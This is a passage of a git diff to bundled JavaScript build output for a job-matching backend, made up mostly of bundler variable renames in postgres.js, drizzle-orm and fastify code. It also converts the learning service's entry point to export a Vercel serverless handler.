queue_default(); @@ -71711,12 +71726,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71726,7 +71741,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71735,29 +71750,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71817,7 +71832,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71857,7 +71872,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71883,24 +71898,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71912,8 +71927,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72668,10 +72683,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73069,19 +73084,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73092,24 +73107,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75929,8 +75944,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78289,10 +78304,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78612,8 +78627,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78746,8 +78761,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78784,12 +78799,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78931,11 +78946,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78949,14 +78964,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79511,7 +79526,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79519,18 +79534,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79880,12 +79895,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79895,8 +79910,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -79937,8 +79952,8 @@ function computeLearningMetrics(scores, appliedPairs) { // services/learning/src/repo/lookups.ts var SAMPLE_LIMIT = 5e3; -async function listRecentScores(db, limit = SAMPLE_LIMIT) { - const rows = await db.select({ +async function listRecentScores(db2, limit = SAMPLE_LIMIT) { + const rows = await db2.select({ modelVersion: schema_exports.jobScores.modelVersion, score: schema_exports.jobScores.score, userId: schema_exports.jobScores.userId, @@ -79946,14 +79961,14 @@ async function listRecentScores(db, limit = SAMPLE_LIMIT) { }).from(schema_exports.jobScores).orderBy(desc(schema_exports.jobScores.scoredAt)).limit(limit); return rows; } -async function listApplicationPairs(db, limit = SAMPLE_LIMIT) { - const rows = await db.select({ userId: schema_exports.applications.userId, jobId: schema_exports.applications.jobId }).from(schema_exports.applications).orderBy(desc(schema_exports.applications.createdAt)).limit(limit); +async function listApplicationPairs(db2, limit = SAMPLE_LIMIT) { + const rows = await db2.select({ userId: schema_exports.applications.userId, jobId: schema_exports.applications.jobId }).from(schema_exports.applications).orderBy(desc(schema_exports.applications.createdAt)).limit(limit); return new Set(rows.map((row) => `${row.userId}:${row.jobId}`)); } // services/learning/src/http/routes/get-metrics.ts -function getMetricsRoute(app, deps) { - app.get("/v1/learning/metrics", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getMetricsRoute(app2, deps) { + app2.get("/v1/learning/metrics", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); if (actor.role !== "admin" && actor.role !== "owner") { throw new AppError("FORBIDDEN", "Only org admins/owners can view learning metrics"); @@ -79975,8 +79990,8 @@ function getMetricsRoute(app, deps) { } // services/learning/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -79997,7 +80012,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -80006,14 +80021,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("learning-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -80044,15 +80059,15 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - getMetricsRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + getMetricsRoute(app2, deps); + return app2; } // services/learning/src/env.ts @@ -80098,20 +80113,21 @@ async function registerConsumers(deps) { } // services/learning/src/index.ts -async function main() { - const env = loadLearningServiceEnv(); - const logger = createLogger({ service: "learning-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +var env = loadLearningServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "learning-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var subscriptions = await registerConsumers({ db, broker, logger }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -80124,10 +80140,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/matching/index.js b/api/matching/index.js index 3694ea6..d6a8836 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, 